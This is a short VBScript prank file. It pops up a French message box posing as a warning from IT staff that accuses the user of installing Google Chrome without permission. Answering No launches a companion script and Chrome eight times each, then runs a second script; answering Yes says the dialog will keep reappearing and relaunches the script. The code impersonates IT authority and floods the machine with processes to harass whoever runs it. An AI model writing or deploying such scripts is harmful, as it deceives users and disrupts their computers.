result = MsgBox ("Nous savons que vous avez installé Google Chrome sans notre permissions, comptez vous le désinstaller ?", vbYesNo + vbCritical, "Message Des Informaticiens")

Select Case result
Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\googleplus.vbs"

Case vbYes
MsgBox "Bien, mais temps qu'il ne sera pas désinstaller, cette boite de dialogue reviendra", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"

End Select